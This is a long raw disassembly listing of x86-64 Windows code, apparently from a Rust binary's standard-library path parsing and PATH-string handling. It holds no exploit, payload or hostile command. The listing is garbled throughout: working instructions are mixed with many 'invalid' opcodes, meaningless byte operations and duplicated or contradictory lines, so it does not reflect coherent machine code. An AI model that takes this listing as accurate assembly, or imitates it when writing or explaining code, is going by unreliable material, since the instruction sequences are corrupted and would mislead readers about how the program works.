mov qword [rcx + 0x20], r11
pop rcx
invalid
or byte [r9 + rcx*4 + 0x51], cl
adc byte [rcx + rcx*4 + 0x49], cl
sbb byte [rcx + rcx*4 + 0x59], cl
pop rcx
pop rcx
and cl, ch
invalid
jmp 0x1400d842f
lea rax, str.library_std_src_syspathwindows.rs
mov ecx, 4
mov rdx, r8
mov edx, eax
mov edx, eax
mov r8, rax
call fcn.140108340
std
add al, byte [rax]
std
add al, byte [rax]
lea rax, str.library_std_src_syspathwindows.rs
mov ecx, 4
add byte [rcx + 4], bh
mov rdx, r8
mov r8, rax
shr al, 0xac
cld
add al, byte [rax]
shr al, 0xac
cld
add al, byte [rax]
lea rax, str.library_std_src_syspathwindows.rs
mov ecx, 8
mov rdx, r8
mov r8, rax
call fcn.1401082c0
int3
pop rdx
cmp byte [rax + 0x147503fb], al
mov byte [rcx], 0xa
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop r15
pop rbp
ret
movzx r15d, byte [rdx + 0x39]
jp 0x1400d86a3
cmp dword [rdi + rcx - 0x4a], eax
adc byte [rbp + 0x31], al
leave
movzx r8d, byte [rdx + 0x10]
xor r9d, r9d
cmp r8d, 3
setae r10b
mov rax, qword [rdx + 0x30]
lea rdx, [rax + 1]
add dword [rax - 0x7b], ecx
invalid
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], 0x44
cmove rdx, rax
cmp r15b, 3
cmove rdx, rax
cmp r15b, 3
je 0x1400d864e
mov edi, 0x77fb3844
mov edx, 0x245c8b4d
and byte [rcx - 0x73], cl
add al, 0x45
mov r9b, r10b
cmp bl, r15b
ja 0x1400d864e
mov r11, qword [r12 + 0x20]
lea rax, [r11 + 4]
mov r9b, r10b
lea r9d, [r9 + r9*2]
lea ecx, [rcx + rcx*2]
add r9d, 7
add r9d, 7
mov dword [rbp - 0xc], r9d
movzx r13d, byte [r12 + 0x3a]
lea r9, [r11 + rdx + 2]
mov qword [rbp - 8], r9
clc
hlt
clc
lea rdx, [r11 + rdx + 8]
push rsp
adc ecx, dword [rax]
mov qword [rbp], rdx
mov rsi, qword [r12]
xor al, 0x24
xor al, 0x24
mov rdx, qword [r12 + 8]
mov r14d, r8d
mov r9, rdx
jmp case.0x1400ca0d6.665
mov r10, rsi
mov edx, esi
mov rsi, r10
cmp bl, r15b
ja 0x1400d864e
push rbp
invalid
invalid
invalid
push rbp
invalid
test bl, bl
je 0x1400d8770
jne 0x1400d88da
test eax, eax
add dword [rax], eax
add byte [rbx - 0x77cbefe], dh
add esi, dword [rdx - 0x38]
mov bl, 2
cmp r8d, 3
jb 0x1400d86ea
cmp r8d, 5
je 0x1400d86ea
cmp r8d, 6
jne 0x1400d89a2
add byte [rax], al
add byte [rax], al
test rdx, rdx
je 0x1400d8883
je 0x1400d888a
add byte [rax], al
cmp r10b, 0x2e
jne 0x1400d888a
jne 0x1400d888a
movzx r10d, byte [rsi + 1]
cmp r10d, 0x2f
je case.0x1400d60ee.422
add byte [rax], al
add byte [rax], al
cmp r10d, 0x5c
jne 0x1400d86ea
jmp case.0x1400d60ee.422
ret 0xff41
invalid
sti
mov r9d, 9
add byte [rax], al
add byte [rax], al
cmovne edi, r9d
add r10, r11
add edx, ebx
mov r9, rdx
sub r9, r10
jb 0x1400d89aa
add r10, rsi
mov qword [r12], r10
mov qword [r12], r10
mov qword [r12 + 8], r9
mov bl, 2
mov rdx, r9
cmp dil, 0xa
je 0x1400d86ed
jmp case.0x1400d8128.22
add byte [rax], al
xor edx, edx
jmp 0x1400d86ea
invalid
invalid
invalid
invalid
invalid
dec dword [rax - 0x7d]
cli
add dword [rdi], ecx
cmp rdx, 1
jne 0x1400d86ea
test dword [rsi - 2], edx
invalid
invalid
test dword [rsi - 2], edx
invalid
cmp r10b, 0x2e
jne 0x1400d86ea
invalid
jne 0x1400d86ea
dec dword [rbp - 0x7b]
leave
test r9, r9
je 0x1400d89f0
test byte [rcx + 1], cl
add byte [rax], al
dec r9
inc rsi
inc esi
inc esi
mov qword [r12], rsi
mov qword [r12 + 8], r9
and al, 8
mov byte [rcx], 7
invalid
jmp 0x1400d8651
inc dword [rcx - 0x3a]
and al, 0x38
and al, 0x38
and al, 0x38
add dword [rax - 0x73], ecx
adc eax, 0xa01a5
movsd dword [rdi], dword [rsi]
add dword [rdx], ecx
add byte [rsi + 0x63], cl
adc al, 0xb2
movsd dword [rdi], dword [rsi]
add dword [rdx], ecx
add byte [rsi + 0x63], cl
adc al, 0xb2
add r10, rdx
jmp r10
invalid
loop 0x1400d891f
mov r10, rax
jmp 0x1400d892f
push rbp
push rbp
test r9, r9
je 0x1400d89dd
add byte [rcx - 1], cl
leave
dec r9
inc rsi
mov qword [r12], rsi
xor al, 0x24
mov qword [r12 + 8], r9
and al, 8
or dh, al
add dword [rsi], eax
invalid
mov byte [rcx], 6
invalid
jmp 0x1400d8651
push rdi
std
invalid
inc dword [rcx - 0x3a]
and al, 0x38
and al, 0x38
and al, 0x38
add ebp, ecx
std
invalid
mov byte [rcx], dil
mov qword [rcx + 8], rsi
mov qword [rcx + 0x10], r11
jmp 0x1400d8651
cmp al, 0xfd
invalid
invalid
adc cl, ch
cmp al, 0xfd
invalid
mov r10, qword [rbp]
jmp 0x1400d892f
invalid
invalid
cmp r10, r9
ja case.default.0x1400d8946
lea rdx, [0x140178a88]
movsxd r11, dword [rdx + r14*4]
mov dl, 0x49
add ebx, edx
mov dl, 0x49
add ebx, edx
jmp r11
mov rax, qword [rbp]
jmp case.0x1400d8946.0
mov rax, qword [rbp - 8]
jmp case.0x1400d8946.0
invalid
or al, 0xb8
invalid
mov eax, 6
jmp case.0x1400d8946.0
mov eax, 2
mov rdx, r9
sub rdx, rax
jb 0x1400d89cb
invalid
invalid
add rax, rsi
mov qword [r12], rax
and al, 0x49
mov dword [rsp + 8], edx
and al, 0x49
mov dword [rsp + 8], edx
mov rax, qword [r12 + 0x30]
mov qword [rcx + 0x20], rax
movups xmm0, xmmword [r12 + 0x11]
adc dword [rcx + 0xf], eax
adc byte [rsp + 0x21], cl
and al, 0x21
adc dword [rcx + 0xf], eax
adc byte [rsp + 0x21], cl
and al, 0x21
and al, 0x21
movups xmmword [rcx + 0x11], xmm1
movups xmmword [rcx + 1], xmm0
mov byte [rcx], r8b
mov qword [rcx + 0x28], rsi
mov qword [rcx + 0x30], r10
jmp 0x1400d8651
mov byte [rcx], 6
jmp 0x1400d8651
lea r8, str.library_std_srcpath.rs
lea eax, [0x140149788]
mov rcx, r10
mov ecx, edx
call fcn.1401082c0
stc
add al, byte [rax]
lea r8, str.library_std_srcpath.rs
mov rcx, r10
mov rdx, r9
mov edx, ecx
mov edx, ecx
call fcn.140108340
lea r8, str.library_std_srcpath.rs
mov rcx, rax
mov rdx, r9
call fcn.1401082c0
add al, byte [rax]
outsb dx, byte [rsi]
or eax, 0x89480007
ror dword [rcx + rcx*4 - 0x36], 0xe8
jrcxz 0x1400d89d3
add al, byte [rax]
lea r8, str.library_std_srcpath.rs
mov ecx, 1
xor edx, edx
shr al, cl
sar al, 1
add al, byte [rax]
mov word [0x141c689ed], cs
add byte [rax], al
add byte [rcx], dh
shr al, cl
sar al, 1
add al, byte [rax]
lea r8, str.library_std_srcpath.rs
mov ecx, 1
xor edx, edx
call fcn.1401082c0
int3
int3
int3
in al, dx
and byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x20
movzx r8d, byte [rcx]
lea eax, [r8 - 6]
movzx r10d, al
mov dh, 0xd0
mov dh, 0xd0
ror byte [rbp - 0x73], 1
add qword [rcx], rsi
lea r9, [r10 + 1]
xor eax, eax
rol byte [rcx - 0x80], 0xfa
add al, 0x4c
cmovae ecx, eax
rol byte [rcx - 0x80], 0xfa
add al, 0x4c
cmovae ecx, eax
movzx r10d, byte [rdx]
lea r11d, [r10 - 6]
lea ebx, [rdx - 6]
lea ebx, [rdx - 6]
movzx esi, r11b
lea rdi, [rsi + 1]
cmp sil, 4
add al, 0x48
cmovae edi, eax
add al, 0x48
cmovae edi, eax
cmp r9, rdi
jne 0x1400d8ae1
invalid
add byte [rax - 0x367bbaff], dh
mov al, 1
test r9b, r9b
je 0x1400d8a8c
movzx r8d, r9b
cmp r8d, 4
add al, 0x75
invalid
add al, 0x75
jns case.0x1400d8aa8.1
cmp r9d, 4
cmp ecx, 4
jne 0x1400d8ae1
mov r8, qword [rcx + 0x10]
cmp r8, qword [rdx + 0x10]
jne case.default.0x1400d8aa8
mov rdx, qword [rdx + 8]
mov rcx, qword [rcx + 8]
call fcn.1401068d0
test eax, eax
sete al
invalid
fiadd word [r10]
add byte [rbp - 0x3f6bf040], al
invalid
jmp 0x1400d8ae1
cmp r11b, 3
jbe 0x1400d8ae1
add esi, dword [rsi + 0x4f]
cmp r8b, r10b
jne case.default.0x1400d8aa8
mov eax, r8d
lea r8, [0x140178aa0]
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
mov r8, qword [rcx + 0x10]
cmp r8, qword [rdx + 0x10]
jne case.default.0x1400d8aa8
mov rsi, rdx
mov rdx, qword [rdx + 8]
mov rdi, rcx
mov rcx, qword [rcx + 8]
call fcn.1401068d0
test eax, eax
jne case.default.0x1400d8aa8
mov r8, qword [rdi + 0x20]
cmp r8, qword [rsi + 0x20]
and byte [rbp + 0xa], r14b
and byte [rbp + 0xa], r14b
mov rdx, qword [rsi + 0x18]
mov rcx, qword [rdi + 0x18]
jmp 0x1400d8a80
xor eax, eax
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
movzx eax, byte [rcx + 1]
cmp al, byte [rdx + 1]
sete al
jmp 0x1400d8ae1
mov r8b, 0xf
sub dword [rbp - 0x60], eax
movzx edx, byte [rcx + 0x3a]
movzx r12d, byte [rcx + 0x38]
movzx r8d, byte [rcx + 0x39]
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], rdi
mov byte [rbp + 0x18], al
movaps xmm0, xmmword [rbp - 0x60]
sub byte [rbp - 0x60], al
sub byte [rbp - 0x60], al
movaps xmm1, xmmword [rbp - 0x50]
movups xmmword [rbp + 0x19], xmm0
movups xmmword [rbp + 0x29], xmm1
mov rcx, qword [rbp - 0x41]
mov qword [rbp + 0x38], rcx
mov byte [rbp + 0x42], dl
mov byte [rbp + 0x40], r12b
mov byte [rbp + 0x41], r8b
cmp r12b, 2
jne 0x1400d8c44
test rdi, rdi
je case.0x1400d8128.34
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rbx + rax], bh
cmp al, 3
jae 0x1400d8bd0
lea rcx, [rsi + rdi]
xor r9d, r9d
nop dword [rax]
cmp byte [rsi + r9], 0x5c
je 0x1400d8bb4
inc r9
cmp rdi, r9
jne case.0x140019144.3352
jmp 0x1400d8c3c
test r9, r9
jne 0x1400d8f2d
inc rsi
dec rdi
jne 0x1400d8b9a
xor edi, edi
mov rsi, rcx
mov qword [rbp + 8], rcx
jmp 0x1400d8c40
xor ecx, ecx
nop word cs:[rax + rax]
movzx r9d, byte [rsi + rcx]
cmp r9d, 0x2f
je 0x1400d8c10
cmp r9d, 0x5c
je 0x1400d8c10
inc rcx
cmp rdi, rcx
jne 0x1400d8be0
xor r9d, r9d
mov rcx, rdi
test rcx, rcx
jne 0x1400d8c1b
jmp 0x1400d8c26
add byte [rax], al
add byte [rcx - 0x47], al
add dword [rax], eax
add byte [rax], al
mov r9d, 1
test rcx, rcx
je 0x1400d8c26
cmp rcx, 1
jne 0x1400d8c3c
cmp byte [rsi], 0x2e
jne 0x1400d8c3c
add rcx, r9
cmp rdi, rcx
jb 0x1400d8f35
add rsi, rcx
sub rdi, rcx
jne 0x1400d8bd0
xor edi, edi
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], rdi
cmp r8b, 2
cmp al, 2
jne 0x1400d8e99
test dl, dl
setne cl
cmp r12b, 1
ja 0x1400d8c8a
xor r8d, r8d
cmp al, 5
jb 0x1400d8cd8
test dl, dl
jne 0x1400d8cd8
sal byte [rbp + 0x74], cl
xor r9d, r9d
cmp al, 6
je 0x1400d8c80
test r12b, r12b
jne 0x1400d8c80
mov r9d, 2
cmp rdi, 1
add byte [rax], al
add byte [rax - 0x7d], cl
inc dword [rcx]
jbe 0x1400d8f77
xchg bh, dh
add al, byte [rax]
add byte [rcx + 0x39], cl
cmp r9, rdi
stc
jne case.0x140019144.3343
xor r8d, r8d
jmp 0x1400d8cd8
xor ecx, ecx
xor r8d, r8d
jmp case.0x1400d8ec4.6
lea r8, [rsi + rdi]
lea r10, [rsi + r9]
adc al, 0xe
adc al, 0xe
inc r10
cmp r10, r8
sete r8b
movzx r9d, byte [rsi + r9]
test r8b, 1
jne 0x1400d8ccd
cmp r9b, 0x2e
jne 0x1400d8ccd
invalid
jne 0x1400d8ccd
sbb dword [rbp + 0xf], eax
mov dh, 2
movzx r8d, byte [r10]
cmp r8b, 0x5c
sete r9b
cmp r8b, 0x2f
sete r8b
or r8b, r9b
or al, cl
or al, cl
jmp 0x1400d8cd8
cmp r9b, 0x2e
stc
sete r9b
sete r9b
sete r9b
and r8b, r9b
test r12b, r12b
je 0x1400d8eb3
xor r9d, r9d
movzx r8d, r8b
movzx ecx, cl
mov dh, 0xc9
mov dh, 0xc9
add rcx, r8
add rcx, r9
cmp rdi, rcx
jbe 0x1400d8e99
test dl, dl
setne cl
cmp al, 6
sete r13b
cmp al, 5
setb bl
test r12b, r12b
setne r9b
mov r10, qword [rbp + 0x38]
lea r8, [r10 + 1]
test r10, r10
cmove r8, r10
ret 0x8041
cld
add cl, byte [rdi]
cmp dword [rcx], 1
add byte [rax], al
ret 0x8041
movzx r14d, dl
or bl, cl
or r13b, r9b
mov rcx, qword [rbp + 0x28]
lea rdx, [rcx + 4]
mov qword [rbp], rdx
add byte [rdx - 0x73], cl
adc al, 1
add byte [rdx - 0x73], cl
adc al, 1
add rdx, 2
add edx, 2
ret 0x4802
mov qword [rbp - 0x10], rdx
lea rcx, [rcx + r8 + 8]
add qword [rax], r9
add qword [rax], r9
mov qword [rbp - 8], rcx
mov eax, eax
mov qword [rbp - 0x18], rax
jmp 0x1400d8d7f
call 0x15f1cb149
add byte [rcx], sil
add byte [rcx], dh
add byte [rcx], dh
xor eax, eax
test r12b, r12b
rol byte [rbp - 0x7c], 0xe4
je 0x1400d8e20
add byte [rax], al
xor ecx, ecx
movzx eax, al
add rax, r14
add rax, rcx
cmp rdi, rax
jbe 0x1400d8e99
sbb al, byte [rcx]
add byte [rax], al
invalid
sbb al, byte [rcx]
add byte [rax], al
add dword [rax], eax
add byte [rcx - 0x77], cl
dec dword [rax - 0x73]
movabs al, byte [0x201e808558d48]
movabs al, byte [0x201e808558d48]
mov r15, rdi
lea rcx, [rbp - 0x60]
movabs al, byte [0x201e808558d48]
add byte [rax + 0xf0aa87d], al
test dword [rbx], edi
add dword [rax], eax
add byte [rax], al
movabs al, byte [0x201e808558d48]
add byte [rax + 0xf0aa87d], al
test dword [rbx], edi
add dword [rax], eax
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 1], cl
mov rdi, r15
sub rdi, qword [rbp - 0x60]
jb 0x1400d8f44
invalid
sahf
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
mov qword [rbp + 0x10], rdi
test bl, bl
jne case.0x1400dc7e7.53
test r13b, r13b
in eax, dx
je 0x1400d8dc0
xor ecx, ecx
jmp 0x1400d8dcf
nop word [rax + rax]
add byte [rax], al
add byte [rcx + 2], bh
add byte [rax], al
mov ecx, 2
add byte [rax], al
cmp rdi, 2
jb 0x1400d8f68
cdq
add dword [rax], eax
invalid
cdq
add dword [rax], eax
add byte [rax + 0x39], cl
stc
cmp rcx, rdi
je case.0x1400dc7e7.53
lea rax, [rsi + rdi]
lea rdx, [rsi + rcx]
lea rdx, ds:[rsi + rcx]
inc rdx
cmp rdx, rax
sete al
ret 0x3948
movzx ecx, byte [rsi + rcx]
test al, 1
jne 0x1400d8e0c
invalid
cmp cl, 0x2e
jne 0x1400d8e0c
invalid
sbb cl, byte [rdi]
movzx eax, byte [rdx]
mov dh, 2
cmp al, 0x5c
sete cl
cmp al, 0x2f
sete al
xchg esp, eax
ror byte [rax], 0xc8
invalid
xchg esp, eax
ror byte [rax], 0xc8
invalid
enter 0xffffffffffff8445, 0xffffffffffffffe4
test r12b, r12b
in al, 0xf
jne case.0x1400d8e32.6
test dword [rcx - 1], esp
invalid
invalid
jmp 0x1400d8e20
cmp cl, 0x2e
stc
sete cl
sete cl
sete cl
shl dword [rax], 0xc8
and al, cl
test r12b, r12b
test ah, ah
jne case.0x1400d8e32.6
test dword [rsi - 1], ecx
invalid
nop dword [rax]
mov rcx, qword [rbp - 0x18]
mov ecx, dword [rbp - 0x18]
lea rdx, [0x140178ad4]
lea edx, [0x140178ad4]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
invalid
invalid
mov rcx, qword [rbp]
jmp 0x1400d8d6d
mov rcx, qword [rbp - 0x10]
jmp 0x1400d8d6d
invalid
invalid
invalid
invalid
invalid
mov rcx, qword [rbp - 8]
mov ecx, dword [rbp - 8]
jmp 0x1400d8d6d
invalid
mov ecx, 6
jmp 0x1400d8d6d
mov ecx, 2
add byte [rax], al
jmp 0x1400d8d6d
or bh, bh
invalid
lea rbx, [rbp - 0x60]
lea r14, [rbp + 8]
or byte [rdi], cl
invalid
add byte [rax], r8b
or byte [rdi], cl
invalid
mov rcx, rbx
mov rdx, r14
call fcn.1400d8f90
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax + 0x750aa87d], al
cmp byte [rbp - 0x58], 0xa
jne 0x1400d8e99
mov rcx, rdi
sub rcx, qword [rbp - 0x60]
invalid
invalid
jb 0x1400d8f56
cmp byte [rbp - 0x58], 0xa
jne 0x1400d8e99
movabs al, byte [0x8948000000c8820f]
adc byte [r8 - 0x77], r9b
iretd
mov qword [rbp + 0x10], rcx
mov rdi, rcx
jne 0x1400d8e70
xor edi, edi
mov rax, rsi
mov rdx, rdi
add rsp, 0xc8
enter 0, 0
enter 0, 0
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov r9d, eax
lea r10, [0x140178ab8]
movsxd r9, dword [r10 + r9*4]
add r9, r10
jmp r9
mov ecx, dword [rbp + 0x28]
add r9, 4
jmp 0x1400d8ce4
mov rdi, r15
jmp 0x1400d8e99
cmp byte [rbp - 0x73], cl
pop rdx
add dword [rbp - 0x7b], ecx
ror byte [rbp + 0xf], cl
fimul dword [rbp + 1]
invalid
add ch, cl
in al, dx
std
invalid
cmp byte [rbp - 0x73], cl
pop rdx
add dword [rbp - 0x7b], ecx
ror byte [rbp + 0xf], cl
fimul dword [rbp + 1]
fimul dword [rbp + 1]
fimul dword [rbp + 1]
invalid
mov rcx, rsi
jmp 0x1400d8c3c
lea r8, str.library_std_srcpath.rs
mov rdx, rdi
call fcn.1401082c0
mov rcx, rdi
lea r8, str.library_std_srcpath.rs
mov rdx, r15
call fcn.140108340
mov r15, rdi
lea r8, str.library_std_srcpath.rs
mov rdx, r15
call fcn.140108340
lea r8, str.library_std_srcpath.rs
mov rdx, rdi
call fcn.1401082c0
lea r8, str.library_std_srcpath.rs
mov ecx, 2
mov rdx, rdi
call fcn.1401082c0
int3
nop dword [rax + rax]
cmp byte [rdi], 0x5c
je case.0x1400d7661.67
inc r11
dec rdi
cmp r11, 1
jne 0x1400d8ff0
jmp 0x1400d9045
neg r11
add rax, r11
inc rax
cmp rax, rdx
ja 0x1400d90a9
add r10, rax
mov r9d, 1
mov rcx, r10
sub rdx, rax
je 0x1400d907e
ret 0x3474
mov al, 9
cmp rdx, 2
je 0x1400d906e
cmp rdx, 1
jne 0x1400d9080
add dword [rbp + 0x28], esi
cmp byte [rcx], 0x2e
jne 0x1400d9080
setae al
lea eax, [rax + rax*2]
add eax, 7
jmp 0x1400d9080
cmp byte [rcx], 0x2e
jne 0x1400d9080
cmp byte [rcx + 1], 0x2e
sete al
xor al, 9
jmp 0x1400d9080
mov al, 0xa
or cl, byte [rcx + 1]
ror dword [rcx + rcx*4 + 0xe], 1
mov qword [rsi], r9
add r9, rdx
mov qword [rsi], r9
mov byte [rsi + 8], al
mov qword [rsi + 0x10], rcx
mov dword [rsi + 0x10], ecx
mov dword [rsi + 0x10], ecx
mov qword [rsi + 0x18], rdx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
sbb byte [rax - 0x7d], cl
invalid
invalid
add byte [rax - 0x77], cl
shr eax, 0x17
call fcn.1401082c0
call fcn.1401082c0
lea r8, str.library_std_srcpath.rs
add eax, 0x70630
add byte [rax - 0x77], cl
shr eax, 8
add al, byte [rax]
mov rcx, rax
call fcn.1401082c0
int3
int3
int3
int3
movzx r8d, byte [rcx + 0x38]
movzx edx, byte [rcx + 0x3a]
test dl, dl
setne al
xchg ebp, eax
invalid
xchg ebp, eax
rol byte [rcx - 0x80], 0xf8
add dword [rdi + 0x63], esi
ja 0x1400d9141
cmp r8b, 1
cmp al, 1
ja 0x1400d9141
invalid
test dl, dl
jne 0x1400d911a
movzx r11d, byte [rcx + 0x10]
adc byte [rcx - 0x73], al
push rbx
sti
lea edx, [r11 - 5]
cmp dl, 1
ja 0x1400d911a
mov r9, qword [rcx]
mov rdx, qword [rcx + 8]
mov edx, dword [rcx + 8]
mov edx, dword [rcx + 8]
push rcx
or byte [rbp + 0x31], al
xor edx, edx
test r8b, r8b
jne 0x1400d9115
cmp r11b, 6
xor r10d, r10d
xor edx, edx
test r8b, r8b
jne 0x1400d9115
cmp r11b, 6
invalid
je 0x1400d9115
mov r10d, 2
cmp rdx, 1
cli
add dword [rdi], ecx
xchg bl, bl
add byte [rax], al
invalid
add byte [rcx + 0x39], cl
cmp r10, rdx
jne 0x1400d9159
sal byte [rbp + 0x3f], cl
xor edx, edx
rol byte [rbp - 0x7c], cl
test r8b, r8b
test al, al
sal byte [rbp + 0x24], 0x44
movzx eax, byte [rcx + 0x10]
jne 0x1400d9145
movzx r8d, byte [rcx + 0x10]
lea r9, [0x140178af0]
lea ecx, [0x140178af0]
ret
movsxd r8, dword [r9 + r8*4]
add r8, r9
jmp r8
and byte [r8 - 0x7d], cl
rol dword [rbx + rbp*8], 6
jmp 0x1400d9147
jmp 0x1400d9147
xor eax, eax
xor edx, edx
invalid
sal byte [rcx], cl
leave
xor ecx, ecx
movzx edx, dl
movzx eax, al
add rax, rdx
add rax, rcx
add rsp, 0x20
pop rbp
ret
add rdx, r9
lea r11, [r9 + r10]
inc r11
cmp r11, rdx
cmp ebx, edx
cmp ebx, edx
sete dl
movzx r9d, byte [r9 + r10]
test dl, 1
jne 0x1400d91e0
cmp r9b, 0x2e
jne 0x1400d91e0
adc eax, dword [rax + 0xf415cfa]
xchg esp, eax
rol dword [rax - 0x6bf0d006], 0xc2
invalid
sete dl
or dl, r9b
jmp 0x1400d911c
invalid
mov eax, dword [rcx + 0x20]
mov rcx, qword [rcx + 0x30]
mov ecx, dword [rcx + 0x30]
lea r9, [rcx + 1]
test rcx, rcx
cmove r9, rcx
lea rcx, [r8 + r9]
add rcx, 2
jmp 0x1400d9147
mov rcx, qword [rcx + 0x30]
lea r9, [rcx + 1]
test rcx, rcx
leave
leave
cmove r9, rcx
lea rcx, [r8 + r9]
add rcx, 8
jmp 0x1400d9147
cmp r9b, 0x2e
sete r9b
and dl, r9b
jmp 0x1400d911c
lea r8, str.library_std_srcpath.rs
mov ecx, 2
call fcn.1401082c0
int3
int3
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400d924b
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x1400d9243
add rsp, 0x28
pop rsi
pop rbp
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rsi
pop rbp
ret
mov rsi, rcx
call fcn.140110270
mov rcx, rsi
test al, al
jne 0x1400d922e
invalid
invalid
mov byte [rcx + 1], 1
jmp 0x1400d922e
add ebx, ebp
invalid
add dword [rcx - 0x77], ecx
ror byte [rcx - 1], 0xc0
invalid
sal byte [rdx + rsi*2 + 0x48], 0x89
invalid
je 0x1400d92e9
mov rsi, rcx
lea rcx, [rax + rax]
cmp rcx, r8
cmova r8, rcx
xor edx, edx
mov r9, r8
shr r9, 0x3e
sete dl
cmp r8, 5
mov edi, 4
cmovae rdi, r8
lea r8, [rdi + rdi]
add edx, edx
test rax, rax
je case.0x140019144.3363
invalid
adc ecx, dword [rax - 0x75]
or byte [rax - 0x77], r9b
mov dword [rbp - 0x30], eax
mov qword [rbp - 0x20], rcx
invalid
mov rax, qword [rsi + 8]
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x30], eax
mov dword [rbp - 0x30], eax
mov qword [rbp - 0x20], rcx
mov eax, 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
jmp 0x1400d92be
add dh, byte [rcx]
ror byte [rax - 0x77], 0x45
fmul dword [rax - 0x73]
call 0x1105b2016
xor eax, eax
mov qword [rbp - 0x28], rax
lea rcx, [rbp - 0x18]
lea r9, [rbp - 0x30]
call fcn.1400d4d20
cmp qword [rbp - 0x18], 0
jne 0x1400d92f0
mov edx, 0x8348ffff
jge 0x1400d92bb
add byte [rbp + 0x1a], dh
mov rax, qword [rbp - 0x10]
mov qword [rsi + 8], rax
mov qword [rsi], rdi
add rsp, 0x50
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
xor ecx, ecx
call fcn.140107fc0
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 8]
call fcn.140107fc0
int3
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x40]
mov qword [rbp], 0xfffffffffffffffe
invalid
invalid
dec dword [rcx + rcx*4 - 0x32]
mov rdi, rcx
mov edi, ecx
invalid
mov edi, ecx
call qword [sym.imp.kernel32.dll_lstrlenW]
test eax, eax
js 0x1400d9499
je 0x1400d9483
add byte [rax], al
mov ebx, eax
lea rax, [rbx + rbx]
nop dword [rax]
test rax, rax
je 0x1400d9483
dec rbx
movzx ecx, word [rdi + rax - 2]
cmp ecx, 0x5c
je 0x1400d935f
add rax, 0xfffffffffffffffe
cmp ecx, 0x2f
jne 0x1400d9340
mov r8, qword [rsi + 8]
mov r14, qword [rsi + 0x10]
lea rax, [rbx + rbx]
mov qword [rbp - 0x10], rax
test r14, r14
je 0x1400d93fd
lea rax, [r8 + r14*2]
mov rcx, r8
mov r15, r14
mov r12, rcx
xor r13d, r13d
nop dword [rax + rax]
cmp word [rcx], 0x3b
je 0x1400d93b0
add rcx, 2
inc r13
cmp rcx, rax
jne 0x1400d9390
jmp 0x1400d93f3
cmp r13, rbx
jne 0x1400d93d4
mov rcx, r12
mov rdx, rdi
mov qword [rbp - 0x18], r8
mov r8, qword [rbp - 0x10]
call fcn.1401068d0
mov r8, qword [rbp - 0x18]
test eax, eax
je 0x1400d9483
lea rdx, [r13 + 1]
lea rcx, [r12 + r13*2]
add rcx, 2
lea rax, [r12 + r15*2]
sub r15, rdx
jne 0x1400d9382
xor r15d, r15d
cmp r15, rbx
je 0x1400d9408
jmp 0x1400d941e
mov rcx, r12
cmp r15, rbx
je 0x1400d9408
jmp 0x1400d941e
xor r15d, r15d
mov rcx, r8
cmp r15, rbx
jne 0x1400d941e
mov rdx, rdi
mov r15, r8
mov r8, qword [rbp - 0x10]
call fcn.1401068d0
mov r8, r15
test eax, eax
je 0x1400d9483
test r14, r14
je 0x1400d942c
cmp word [r8 + r14*2 - 2], 0x3b
je 0x1400d944b
cmp r14, qword [rsi]
jne 0x1400d943d
mov rcx, rsi
call case.0x14001a5bd.3056
mov r8, qword [rsi + 8]
mov word [r8 + r14*2], 0x3b
inc r14
mov qword [rsi + 0x10], r14
mov rax, qword [rsi]
sub rax, r14
cmp rax, rbx
jae 0x1400d946c
mov rcx, rsi
mov rdx, r14
mov r8, rbx
call fcn.140110110
mov r8, qword [rsi + 8]
mov r14, qword [rsi + 0x10]
lea rcx, [r8 + r14*2]
mov rdx, rdi
mov r8, qword [rbp - 0x10]
call fcn.140106250
add rbx, r14
mov qword [rsi + 0x10], rbx
mov eax, 1
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rax, [0x14014a258]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140148888]
lea r8, [rbp - 1]
mov edx, 0x2b
call fcn.140108600
ud2
push rsp
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x40]
call fcn.140108760
call fcn.140108760
add al, byte [rax]
int3
int3
sub esp, 0x48
lea rbp, [rsp + 0x40]
mov rsi, rdx
invalid
mov qword [rbp - 0x18], rcx
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
invalid
invalid
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
lea edx, str.TryFromIntError
mov eax, dword [rdx + 0x28]
lea rdx, str.TryFromIntError
lea edx, str.TryFromIntError
mov r8d, 0xf
mov eax, 0xf
add bh, bh
push rax
call qword [rax + 0x18]
mov qword [rbp - 8], rsi
sbb byte [rax - 0x77], cl
jne 0x1400d9516
mov byte [rbp], al
mov qword [rbp - 0x10], 0
add byte [rax], al
add byte [rax - 0x39], cl
lock add byte [rax], al
add byte [rax], al
mov byte [rbp + 1], 0
lea r8, [0x140148ac0]
lea eax, [0x140148ac0]
lea eax, [0x140148ac0]
lea rcx, [rbp - 0x10]
lea ecx, [rbp - 0x10]
